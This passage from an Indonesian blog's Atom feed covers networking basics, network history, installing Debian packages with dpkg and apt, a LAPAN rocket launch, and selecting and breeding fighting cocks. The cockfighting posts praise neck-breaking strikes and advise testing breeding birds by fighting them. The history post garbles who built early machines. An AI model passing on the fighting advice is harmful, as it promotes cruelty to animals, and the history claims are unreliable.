href="http://1.bp.blogspot.com/_uk6ho0aKuDg/TTOPe3uE2XI/AAAAAAAAAPQ/cZo-gXjiw0E/s1600/2.1.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 372px;" src="http://1.bp.blogspot.com/_uk6ho0aKuDg/TTOPe3uE2XI/AAAAAAAAAPQ/cZo-gXjiw0E/s400/2.1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5562947725248747890" /&gt;&lt;/a&gt;&lt;br /&gt;Komputer yang semula diciptakan sebagai alat bantu hitung, kini berkembang menjadi alat serba guna, karena mampu mengerjakan pekerjaan manusia seperti penghitungan matematis, kedokteran, antariksa, nuklir, dan sebagainya. Sebuah komputer yang bekerja sendiri tanpa terhubung dengan komputer lainnya lebih dikenal dengan sebutan stand alone. Sedangkan komputer yang semula berdiri sendiri atau bekerja sendiri kemudian terhubung melalui media transmisi dengan komputer atau peranti keras lainnya dengan tujuan melakukan komunikasi disebut sebagai network (jaringan). Dengan jaringan, kita bisa berkirim email, file, chatting bahkan melakukan telekomunikasi layaknya telepon.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Jaringan komputer adalah beberapa peranti keras (komputer) indenpenden yang terhubung melalui media transmisi dengan aturan/ protokol tertentu sehingga dapat saling berkomuunikasi satu sama lainnya seperti chattng, kiriim email, sharing data dan peranti keras (printer, hardddisk, prosesor).&lt;br /&gt;Prinsip dasar jaringan adalah proses pengiriman data dari pengirim ke penerima melalui suatu media komunikasi tertentu. Seperti anda melakukan proses pengiriman surat dari kota tempat tinggal anda menuju alamat kota lain bahkan negara lain, melalui kantor pos. Sebenarnya proses jaringan menggunakan prinsip yang sama seperti pengiriman surat ke kantor pos.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-3889984005609484568?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3889984005609484568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/3889984005609484568'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/prinsip-dasar-jaringan-komputer.html' title='Prinsip Dasar Jaringan Komputer'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uk6ho0aKuDg/TTOPe3uE2XI/AAAAAAAAAPQ/cZo-gXjiw0E/s72-c/2.1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1609446195898269285</id><published>2011-01-16T16:33:00.000-08:00</published><updated>2011-01-16T16:36:44.797-08:00</updated><title type='text'>Sejarah Jaringan</title><content type='html'>Gagasan awal untuk menghubungkan beberapa peranti keras berupa komputer yang sudah terinstall sistem operasi di dalamnya dengan tujuan untuk melakukan beberapa proses dalam sebuah peranti dengan metode queve. Proyek yang dimulai di Negara Amerika pada era tahun 1940-an ini, diberi nama MODEL I, dipimpin oleh Aiken ini, dikerjakan pada laboratorium Bell milik Group Harvard University. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Kemudian teknik pengembangan model komputer mulai meningkat dari sisi kondisi fisik yang menjadi lebih besar yang bertujuan untuk memperoleh kekuatan, kecepatan dan kehandalan pengerjaan proses. Era tahun 1950-an, lahirlah tipe super komputer untuk melayani beberapa terminal dalam sebuah jaringan yang lebih dikenal dengan nama TSS (Time Sharing Sistem). maka untuk pertama kali bentuk jaringan (network) komputer diaplikasikan. &lt;br /&gt;Kebutuhan kerja yang semakin meningkat frekuensinya dan tuntutan waktu proses untuk lebih efisien memacu untuk menciptakan sistem yang lebih baik dari sebelumnya. Selain karena super komputer dirasakan mahal harganya dan tidak terjangkau, maka munculah sistem terdistribusi di mana konsep terdistribusi ini memberikan tugas pada masing-masing host untuk mengerjakan prosesnya sendiri dalam rangka melayani terminal yang tersambung kepadanya. Proses ini sudah mengkombinasikan antara sistem komputer dan konsep komunikasi jarak jauh.&lt;br /&gt;Setelah era tahun 1970-an, seiring berkembangnya transistor dalam bentuk yang lebih kecil namun memiliki kemampuan yang lebih baik, melahirkan evolusi bentuk fisik komputer yang lebih ramping, kecil namun lebih handal daripada generasi komputer sebelumnya. Dampak perubahan fisik dan model komputer ini menyebabkan harganya menjadi lebih murah. Di samping itu, konsep jaringan yang diterapkan pada komputer mulai dibakukan dan distandarisasikan, sehingga memungkinkan terjadinya koneksi antar platform hardware yang berbeda-beda. Koneksi antar komputer tersebut dilihat dari sisi area penggunaannya dibagi dalam beberapa kategori : Local Area Networking kemudian berkembang menjadi koneksi jaringan antar LAN dalam kota atau MAN, dan antar MAN saling terhubung membentuk Wide Area Networking atau yang lebih dikenal dengan sebutan Internet.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1609446195898269285?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1609446195898269285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1609446195898269285'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/sejarah-jaringan.html' title='Sejarah Jaringan'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-9198565244256089553</id><published>2011-01-09T23:29:00.000-08:00</published><updated>2011-01-09T23:30:24.624-08:00</updated><title type='text'>AYAM BANGKOK IDEAL</title><content type='html'>Ayam bangkok idel adalah Ayam bangkok yang memenuhi syarat sebagai petarung yang tangguh,yang mana ciri-cirinya lebih spesifik lagi dari tanda-tanda ayam bangkok/aduan secara umum.&lt;br /&gt;&lt;br /&gt;Seekor ayam bangkok ideal akan memiliki daya tahan terhadap pukulan,memiliki pukulan yang keras,memiliki kelincahan dalam bertarung.&lt;br /&gt;&lt;br /&gt;Untuk ayam bangkok ideal ini banyak kriteria yang harus dipenuhinya antara lain :&lt;br /&gt;1. Tulang wajah tidak kasar lebih baik&lt;br /&gt;2. Tulang sambungan kepala dan leher tidak menonjol&lt;br /&gt;3. Ruas tulang leher rapat&lt;br /&gt;4. Celah sambungan leher dan bahu rapat/sayap merapat ke badan&lt;br /&gt;5. Tulang sayap bagian dalam makin tebal lebih baik&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;6. Tulang pinggul bulat atau tidak menonjol&lt;br /&gt;7. Tulang dada labar dan tebal tapi tidak terlalu menonjol&lt;br /&gt;8. Tulang supit/tulang dibawah pangkal ekor makin rapat makin baik&lt;br /&gt;9. Jarak ujung tulang dada dengan tulang supit makin dekat semakin baik&lt;br /&gt;10.Kepala seperti buah pinang&lt;br /&gt;11.Patuk atau paruh berukuran sedang tetapi tebal&lt;br /&gt;12.Badan panjang&lt;br /&gt;13.Dada bidang/lebar&lt;br /&gt;14.Sayap rapat dan panjang&lt;br /&gt;15.Pangkal ekor berukuran sedang&lt;br /&gt;16.Pangkal paha bulat dan pipih&lt;br /&gt;17.Kaki bulat boleh juga persegi,sisik tersusun rapi dan kering&lt;br /&gt;18.Jari kaki panjang dan halus&lt;br /&gt;19.Memiliki bulu sayap dan bulu ekor yang lengkap&lt;br /&gt;&lt;br /&gt;Jika seekor ayam bangkok/aduan memenuhi kriteria diatas maka ayam tersebut akan memiliki pukulan yang keras,tahan terhadap pukulan dan lincah dalam bertarung.&lt;br /&gt;&lt;br /&gt;Jika anda hendak menurunkan ayam dalam arena aduan usahakan padanannya seimbang baik itu ukuran untuk badan,tinggi dan yang tak kalah penting untuk diperhatikan adalah umur ayam jangan sampai terpaut jauh dengan lawan.&lt;br /&gt;&lt;br /&gt;Untuk ayam pemula jangan sampai umur ayam lawan lebih tua dari ayam anda dengan toleransi umur lebih kurang tiga bulan.&lt;br /&gt;source = http://mutiaraayam.blogspot.com/&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-9198565244256089553?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/9198565244256089553/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/01/ayam-bangkok-ideal.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/9198565244256089553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/9198565244256089553'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/ayam-bangkok-ideal.html' title='AYAM BANGKOK IDEAL'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1419285841570743762</id><published>2011-01-09T23:25:00.000-08:00</published><updated>2011-01-09T23:27:08.781-08:00</updated><title type='text'>CARA PEMILIHAN INDUK DAN PERAWATAN AYAM BANGKOK</title><content type='html'>Untuk mendapatkan ayam bangkok unggul kita harus tau keturunan dan asal usul induk.Lebih bagus kalau induk berasal dari kalangan juara,kalau tidak bagaimana cara mendapatkan induk ?.Caranya adalah dengan menyeleksi induk lokal yang ada (bukan dari keturunan juara) yaitu dengancara diadu induk betina sama induk betina dan perhatikan cara bertarungnya dan hasil yang baik adalah leher dan kepala lawannya lebih banyak memar dan membesar.Begitu pula untuk induk jantan diadu dulu selama lebih kurang 2 babak air dan perhatikan pola bertarungnya.Untuk hasil terbaik adalah induk jantan hanya melakukan pada pukulan leher dan kepala,pukulan seperti ini dapat mematahkan leher serta membuat kepala lawan robek atau kepala lawannya memar dan membesar.Setelah itu baru induk dirawat untuk dikawainkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ciri-ciri induk betina yang bagus&lt;br /&gt;&lt;br /&gt;1. Kepala seperti kepala ular,kalau dilihat dari depan&lt;br /&gt;2. Mata menjorok kedalam dan bersih&lt;br /&gt;3. Badan kalau dipegang seperti botol atau seperti batang pinang&lt;br /&gt;4. Kaki kering dengan jari kaki halus dan panjang&lt;br /&gt;5. Tulang sapit udang lebar (tulang dibawah pangkal ekor) 3 – 4 jari&lt;br /&gt;6. Tidak pernah sakit dari anakan&lt;br /&gt;7. Kalau dapat ada tajinya lebih bagus&lt;br /&gt;8. Bulu mengkilat&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Ciri-ciri induk jantan yang bagus&lt;br /&gt;&lt;br /&gt;1. Kepala seperti buah pinang&lt;br /&gt;2. Tulang kepala tebal dengan alis menjorok keluar&lt;br /&gt;3. Tulang leher rapat&lt;br /&gt;4. Kepak sayap rapat ke badan&lt;br /&gt;5. Paruh melengkung sepeti paruh elang dan agak panjang&lt;br /&gt;6. Kaki dan sisik kering&lt;br /&gt;7. Jari kaki halus dan panjang&lt;br /&gt;8. Tulang ekor(tulang sapit udang) rapat dan keras&lt;br /&gt;9. Mempunyai kokok yang besar&lt;br /&gt;10. Bulu mengkilat&lt;br /&gt;11. Memiliki badan yang bulat seperti batang pinang&lt;br /&gt;12. Memiliki tulang yang kokoh dan tegak seperti burung elang&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Usahakanlah dari anak ayam sampai ayam dewasa dalam pemberian pakan memenuhi kebutuhan ayam sesuai dengan umurnya.Ayam yang terpenuhi nilai pakannya dan tak akan pernah sakit merupakan modal utama untuk menjadi petarung yang tangguh.Umur induk jantan baru bisa diambil keturunannya setelah berumur 1 tahun 6 bulan atau setelah mengalami satu kali masa mabung/ganti bulu dan untuk induk betina setelah 3 kali masa bertelur.Tapi pengalaman yang saya dapati makin tua induk jantan ataupun induk betina semakin bagus,selagi induk tersebut masih produktif dan masih mau kawin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;YANG HARUS DIPERHATIKAN SEBAGAI AYAM PETARUNG&lt;br /&gt;&lt;br /&gt;1. Selain bertulang kokoh dan rapat,ayam aduan kalau berdiri tegak elang.Ayam seperti ini kalau berkelahi kepalanya tegak keatas untuk mematuk kepala lawan dan mempunyai kekuatan mendorong yang besar waktu berkelahi.&lt;br /&gt;&lt;br /&gt;2. Mempunyai kepak sayap yang rapat kebadan,sehingga waktu berkelahi kepala lawan susah masuk kesela-sela sayap dan pukulan lawan juga sulit masuk ke kepak sayap ayam,memiliki bulu sayap dan ekor yang lengkap.&lt;br /&gt;&lt;br /&gt;3. Mempunyai sisik kaki yang kering dan keras.Sewaktu adu pukulan ayam takkan merasa sakit dan memiliki ruas tulang leher yang rapat.&lt;br /&gt;&lt;br /&gt;4. Mempunyai jari kaki yang kecil dan panjang.Ayam seperti ini mempunyai pukulan yang menyakitkan.&lt;br /&gt;&lt;br /&gt;5. Mempunyai kaki yang pipih,dimana bagian samping lebih lebar dari bagian kaki depannya.Ayam seperti ini memiliki pukulan yang mematikan.&lt;br /&gt;&lt;br /&gt;6. Mempunyai tulang sapit udang/tulang kloaka yang rapat dan keras.Kalau rapat ayam rajin melakukan pukulan dan memiliki napas yang lebih panjang.Semakin keras tulang kloaka/sapit udang semakin keras pula pukulan yang dimilikinya.&lt;br /&gt;&lt;br /&gt;7. Memiliki kepala seperti buah pinang dan bulu yang tebal.Kepala seperti ini mempuyai kelincahan mematuk lawan.Dan bulu yang tebal berfungsi untuk menahan pukulan yang diterima.&lt;br /&gt;&lt;br /&gt;8. Memiliki pukulan menyilang atau menggunting.Ayam seperti ini mampu mematahkan leher lawannya.Ayam ini kalau hendak memukul posisi kakinya tidak sejajar,posisi kakinya seperti hendak melangkah.&lt;br /&gt;&lt;br /&gt;9. Mempunyai kaki yang besar pada pergelangan kaki.Kaki dari lutut sampai kepergelangan kaki makin besar.Ayam seperti ini memiliki pukulan yang keras.&lt;br /&gt;&lt;br /&gt;10. Untuk ayam pukul pilih ayam yang memiliki pergelangan kaki yang besar sedangkan untuk ayam taji pilih ayam yang memilki pergelangan kaki kecil atau sedang.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WARNA - WARNA BULU AYAM ADUAN/BANGKOK PERLU DIPERHITUNGKAN&lt;br /&gt;&lt;br /&gt;Selain kepintarannya berkelahi ayam bangkok/aduan memiliki warna bulu yang beragam.Ada sebagian penghobi suka mengoleksi ayam aduan dengan warna dan corak bulu tertentu.Sebetulnya warna bulu mempunyai pengaruh terhadap penampilan ayam aduan/bangkok,bahkan bisa mempengaruhi mental lawannya.Dibawah ini ada beberapa warna dan corak bulu ayam menurut kelasnya :&lt;br /&gt;&lt;br /&gt;1. Wiring Bulu ayam bangkok jantan yang paling populer dan berkelas adalah warna wiring kuning. Corak warna wiring adalah terdiri dari warna dasar hitam dengan bulu rawis leher dan rawis ekor berwarna kuning kemerahan. Jika warna rawis yang dominan adalah kuningkeemasan dan memiliki kaki dan paruh berwarna kuning maka disebut sebagai wiring kuning. Jika warna rawis cenderung merah tua kecoklatan disebut wiring galih.&lt;br /&gt;&lt;br /&gt;2. Taduang/hitamBulu ayam bangkok yang berkelas setelah wiring adalah taduang/hitam, rawis dan bulu hias juga hitam.Kalau paruh,kaki dan mata juga hitam maka disebut sipatuang rimbo.Ayam sipatuang rimbo ini memiliki keistimewaan atau tuah yang akan kita bahas nantinya.&lt;br /&gt;&lt;br /&gt;3. Bangkeh berbeda dengan wiring yang memiliki warna dasar hitam, ayam bangkeh memiliki warna dasar yang hampir sama dengan rawisnya yaitu kuning kemerahan. Jika warna bulu cenderung kuning keemasan disebut bangkeh emas dan jika warna bulu lebih gelap kemerahan disebut dengan bangkeh api.&lt;br /&gt;&lt;br /&gt;4. Kanso/klabu Warna kanso memiliki warna dasar abu-abu. Jika rawisnya berwarna gelap atau abu-abu kehitaman disebut dengan kanso monyet dan jika rawisnya berwarna kuning kemerahan disebut kanso api.&lt;br /&gt;&lt;br /&gt;5. Kuriak/Jali Warna kuriak adalah warna yang merupakan campuran beberapa warna tapi dalam catatan ada garis-garis kecil.Atau campuran beberapa warna dimana setiap helai bulunya bergaris-garis kecil.Seperti hitam-putih-hitam-putih ada juga abu-abu-putih abu-abu-putih dan begitu juga warna yang lainnya. Jarang ayam bangkok yang berwarna jali. Ada orang tertentu yang sangat memburu bangkok asli dengan warna ini karena kelangkaannya dan berkesan eksotis.&lt;br /&gt;&lt;br /&gt;6. Kinantan/putihWarna putih kinantan adalah warna bulu putih.rawis dan bulu hias juga putih ditambah sisik dan mata juga putih.ayam warna ini memiliki tuah/keistimewaan dari ayam yang lain. Ada juga warna putih usu adalah warna bulu putih semua termasuk bulu hias dan bulu rawis,kaki berwarna kuning dan paruh berwarna putih.warna usu ini juga punya keistimewaan ,kita bahas pada bab berikutnya.&lt;br /&gt;&lt;br /&gt;Warna ayam di atas adalah warna-warna utama. Dalam persilangan lebih lanjut bisa saja masing-masing warna memiliki varian yang beragam. Sebagian pengadu menganggap warna sebagai standar kualitas. Didalam pertarungan warna bulu memegang peranan cukup berarti karena warna bulu bisa mempengaruhi mental lawan. Warna wiring,taduang,dan bangkeh adalah warna paling berkelas dibanding warna-warna lain.&lt;br /&gt;&lt;br /&gt;by Ian antono&lt;br /&gt;&lt;br /&gt;Source: &lt;a href="http://mutiaraayam.blogspot.com/"&gt;mutiaraayam&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-1419285841570743762?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1419285841570743762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/1419285841570743762'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/01/cara-pemilihan-induk-dan-perawatan-ayam.html' title='CARA PEMILIHAN INDUK DAN PERAWATAN AYAM BANGKOK'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-8492288420428115814</id><published>2010-11-25T19:48:00.000-08:00</published><updated>2010-11-25T19:50:37.334-08:00</updated><title type='text'>Install paket aplikasi pada debian</title><content type='html'>Untuk masalah installasi, penghapusan dan upgrade software, Debian beserta turunannya menggunakan sistem paket yang bernama dpkg. Paket tersebut dikemas dengan berekstensi *.deb yang berisikan informasi software, file dari software, letak penempatan file serta paket software lain yang dibutuhkan agar software bisa di-install.&lt;br /&gt;&lt;br /&gt;NB : Jalankan perintah yang ada melalui mode root&lt;br /&gt;&lt;br /&gt;Untuk installasi paket tersebut, anda bisa menggunakan perintah berikut pada console :&lt;br /&gt;&lt;br /&gt;# dpkg -i /letak/file/namapaket_versi_arsitektur.deb&lt;br /&gt;&lt;br /&gt;Jika nama paket yang di-install sudah terinstall sebelumnya dan paket yang akan anda install tersebut versinya lebih baru, maka software tersebut akan diupgrade. Sedangkan untuk menghapus suatu paket, anda bisa gunakan perintah berikut :&lt;br /&gt;&lt;br /&gt;# dpkg -r namapaket&lt;br /&gt;&lt;br /&gt;Perhatikan, yang anda sebut adalah nama paketnya, bukan nama file dari paket yang akan di-install.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Namun cara ini tidak secara otomatis akan menginstall paket lain yang dibutuhkan paket software tersebut karena DPKG hanya akan menginstall paket yang disebutkan saja. Maka hasilnya, jika paket software tersebut belum terinstall, anda akan menemui pesan error pada saat installasi dan software yang anda install tidak bisa dijalankan. Sehingga masalah bisa menjadi sangat rumit. Agar mempermudah anda untuk menggunakan DPKG, Debian dan turunannya menyertakan software yang bernama APT.&lt;br /&gt;&lt;br /&gt;APT mempermudah anda untuk menginstall, menghapus dan meng-upgrade suatu software tanpa perlu menentukan file dari paket software karena anda hanya mengetik nama paketnya saja dan juga tanpa perlu menginstall lagi paket software yang dibutuhkan (dependency) karena paket software tersebut akan di-installkan secara otomatis.&lt;br /&gt;&lt;br /&gt;Agar APT bisa berjalan, anda harus menentukan terlebih dahulu dari mana sumber paket dpkg yang akan digunakan oleh APT. Sumber paket ini sering juga disebut dengan repository dan bisa berupa folder lokal, server http (web), server ftp serta CD/DVD. Untuk menentukan sumber paket tersebut, anda bisa gunakan dua cara. Yaitu melalui console dan menggunakan alat bantu. Disini hanya akan membahas penggunaan console agar anda lebih mengerti mengenai seluk beluk APT ini.&lt;br /&gt;&lt;br /&gt;Untuk mengatur repository melalui console, anda bisa mengedit file /etc/apt/sources.list melalui mode root. Jika menggunakan editor Nano, anda bisa ketik perintah berikut ini :&lt;br /&gt;&lt;br /&gt;# nano /etc/apt/sources.list&lt;br /&gt;&lt;br /&gt;Untuk menonaktifkan salah satu repository yang ditentukan di file tersebut, cukup memberikan tanda komenter ‘#’ pada awal baris di setiap repository yang ingin anda nonaktifkan. Berikut adalah contoh repository dari debian.org yang saya nonaktifkan (maklum, saya tidak memiliki koneksi internet) :&lt;br /&gt;&lt;br /&gt;#deb http://security.debian.org/ etch/updates main contrib&lt;br /&gt;&lt;br /&gt;Sedangkan untuk menambahkan repository baru, anda bisa menambahkan sebuah baris baru pada akhir dari file tersebut. Berikut adalah formatnya :&lt;br /&gt;&lt;br /&gt;deb protokol:/lokasi/repository nama-kode-distribusi cabang1 cabang2 cabang3&lt;br /&gt;&lt;br /&gt;Jika anda belum mengerti maksud baris tersebut, berikut saya akan jelaskan :&lt;br /&gt;&lt;br /&gt;    * Kata “deb” pada awal baris berarti anda menggunakan repository paket software yang siap di-install. Jika menggunakan “deb-src”, berarti paket tersebut adalah paket source (kode sumber software) yang harus di-compile terlebih dahulu.&lt;br /&gt;    * Pada protokol, tentukan protokol dari repository yang anda gunakan. Misalnya, jika anda menggunakan ftp, ganti kata protokol dengan ftp. Sedangkan jika menggunakan repository dari lokal, gunakan protokol file.&lt;br /&gt;    * Pada bagian “lokasi/repository”, tentukan “path” dari repository yang akan digunakan.&lt;br /&gt;    * Pada nama-kode-distribusi, ketik nama kode dari distribusi yang ingin anda gunakan. Misalnya, jika anda menggunakan Debian Etch (4.0), anda bisa gunakan nama “etch”. Selain itu, anda juga dapat menambahkan embel – embel tertentu setelah nama-kode-distribusi jika anda ingin menggunakan repository khusus seperti repository “etch/updates” untuk update security, atau repository “hardy-backport” jika ingin menggunakan software yang sangat baru pada distribusi Ubuntu 8.04 LTS.&lt;br /&gt;    * Pada cabang1, …. tentukan cabang software yang akan digunakan. Setiap repository memiliki cabang tertentu yang dipisah berdasarkan lisensi dari software tersebut. Khusus untuk Debian, berikut adalah cabang yang ada :&lt;br /&gt;          o&lt;br /&gt;                + Main, cabang dari software yang memenuhi syarat Free dan Open Source&lt;br /&gt;                + Contrib, cabang dari software yang memenuhi syarat Free dan Open Source, namun memiliki ketergantungan / dependency terhadap software pada cabang Non-Free&lt;br /&gt;                + Non-Free, cabang dari software yang sama sekali tidak Free dan Open Source.&lt;br /&gt;                + Main, cabang dari software yang memenuhi syarat Free dan Open Source dan juga didukung secara komersial oleh Canonical, ltd&lt;br /&gt;                + Universe, cabang dari software yang memenuhi syarat Free dan Open Source dan didukung secara komunitas&lt;br /&gt;                + Restricted, cabang dari software yang tidak free dan didukung secara komersial oleh Canonical, ltd&lt;br /&gt;                + Multiverse, cabang dari software yang sama sekali tidak free&lt;br /&gt;&lt;br /&gt;            Dan Khusus untuk Ubuntu, berikut adalah cabang yang ada :&lt;br /&gt;&lt;br /&gt;Setelah anda anda menambahkan repository baru, anda bisa menyimpan file /etc/apt/sources.list tersebut. Pada editor Nano, tekan tombol Ctrl + X, lalu tekan Y dan tekan Enter. Setelah itu, ketik perintah “apt-get update” untuk menambahkan nama paket yang ada pada repository yang anda tentukan pada database APT pada komputer.&lt;br /&gt;&lt;br /&gt;KETERANGAN : Khusus untuk repository dari CD/DVD, anda bisa gunakan perintah “apt-cdrom add”. Lalu masukkan CD/DVD repository tersebut, dan tekan Enter.&lt;br /&gt;&lt;br /&gt;Sekarang, anda bisa menginstall software baru dengan menggunakan perintah berikut :&lt;br /&gt;&lt;br /&gt;# apt-get install namapaket&lt;br /&gt;&lt;br /&gt;Perhatikan, yang anda ketik hanya nama paketnya saja, bukan nama file paketnya. Jika paket tersebut terdapat di database APT pada komputer, maka paket tersebut beserta dependency nya akan diambil dari sumber paket yang telah ditentukan dan di-installkan ke komputer anda. Sedangkan untuk menghapus suatu software, anda bisa ketik perintah berikut :&lt;br /&gt;&lt;br /&gt;# apt-get remove namapaket&lt;br /&gt;&lt;br /&gt;Maka paket software yang anda tentukan beserta software yang membutuhkannya akan dihapus oleh sistem. Jika anda kesulitan menggunakan APT, anda bisa gunakan tool bantu seperti Aptitude (Console), Synaptic Package Manager (GNOME) dan Adept Manager (KDE). Software tersebut akan menyediakan daftar pilihan paket yang bisa install atau anda hapus.&lt;br /&gt;&lt;br /&gt;Masih kesulitan juga? Anda bisa gunakan fitur Add/Remove pada GNOME atau Add/Remove Software pad KDE. Fitur ini memudahkan anda menginstall software tertentu tanpa perlu mengetahui nama paketnya. Seperti layaknya menggunakan fitur Add/Remove Windows Component pada OS Windows.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-8492288420428115814?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8492288420428115814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/8492288420428115814'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/install-paket-aplikasi-pada-debian.html' title='Install paket aplikasi pada debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-6614574731794114005</id><published>2010-11-17T23:38:00.000-08:00</published><updated>2010-11-17T23:41:25.932-08:00</updated><title type='text'>Peluncuran Roket RX420 Produk LAPAN</title><content type='html'>Teknologi roket buatan Lembaga Penerbangan dan Antariksa Nasional (Lapan) mengalami kemajuan pesat.Setelah sebelumnya meluncurkan RX320 pada 2008,kini berhasil meluncurkan RX420.&lt;br /&gt;&lt;br /&gt;SUKSES mengembangkan RX420, bukan lantas Lapan berpuas diri. Akhir tahun ini, Lapan kembali mendesain RX520. Roket yang lebih besar dan memiliki daya jangkau lebih jauh dibanding RX420.&lt;br /&gt;&lt;br /&gt;Deputi Bidang Teknologi Dirgantara Lembaga Penerbangan dan Antariksa Nasional (LAPAN) Soewarto Hardhienata mengatakan, RX520 siap terbang akhir 2010. RX520 ini memiliki spesifikasi yang lebih hebat ketimbang RX420.Sesuai desain awal,RX520 memiliki kecepatan maksimal 1,7 km/detik. RX520 ini memiliki panjang hingga 8,8 meter dengan bahan bakar propelan padat seperti jenis roket lain.&lt;br /&gt;&lt;br /&gt;“Daya jangkau roket RX520 mencapai 200 km.Ini lebih jauh dua kali lipat dibanding RX420,” ujar Soewarto kepada Seputar Indonesia. Hanya saja, teknologi roket yang dikembangkan Lapan tidak untuk kebutuhan alat utama sistem persenjataan (alutsista). Roket buatan Lapan hanya untuk keperluan sipil yang akan digunakan sebagai penunjang dalam mengorbitkan satelit.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Untuk diketahui, Kamis (2/7), Lapan berhasil meluncurkan RX420,roket terbesar yang dibuat lembaga antariksa Indonesia. Roket RX-420 adalah roket dengan diameter 420 mm,panjang 6 m dan berbobot 1 ton.Roket ini menggunakan bahan bakar solid-komposit yang ketika diluncurkan ke angkasa memiliki jangkauan 100 km dengan kecepatan hingga 4,5 mack atau 4,5 kali kecepatan suara.&lt;br /&gt;&lt;br /&gt;Saat peluncuran,roket eksperimen RX420 berdiri dengan sudut elevansi 70 derajat di lapangan desa Cilautereun Kecamatan Pameungpeuk Kabupaten Garut.Tak beberapalama,suararoketmenderu, diiringi kepulan asap putih membumbung. Hanya dalam hitungan detik,roket melesat ke angkasa. Lapan sendiri konsentrasi dalam pembuatan 